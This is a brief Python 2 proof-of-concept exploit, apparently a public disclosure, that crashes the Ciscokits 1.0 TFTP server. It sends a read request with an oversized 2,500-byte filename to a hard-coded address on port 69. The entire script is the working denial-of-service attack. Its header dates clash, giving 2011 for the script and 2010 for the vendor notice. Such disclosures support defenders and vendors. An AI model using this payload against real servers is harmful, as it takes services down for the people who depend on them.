#!/usr/bin/python
#Title: Ciscokits 1.0 TFTP Long Filename DoS
#Author: Craig Freyman (@cd1zz)
#Date: July 22, 2011
#Software Link: http://www.certificationkits.com/tftpserver/tftpserver.zip
#Tested on: Windows XP SP3
#Vendor notified: July 22, 2010 - Vendor approved release of PoC on July 23, 2010. 
#Notes: When a long file name read request is made the CPU will spike
#and within about 20 seconds the TFTP service will crash.

import socket,sys,time

host = '192.168.133.128'
port = 69

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
	print "socket() failed"
	sys.exit(1)

crash = "\x41" * 2500

mode = "netascii"
files = "a"
print "File name READ crash"
#seems to only work on a READ command = x01
pwned = "\x00\x01" + crash + "\0" + mode + "\0"
s.sendto(pwned, (host, port))
time.sleep(2)

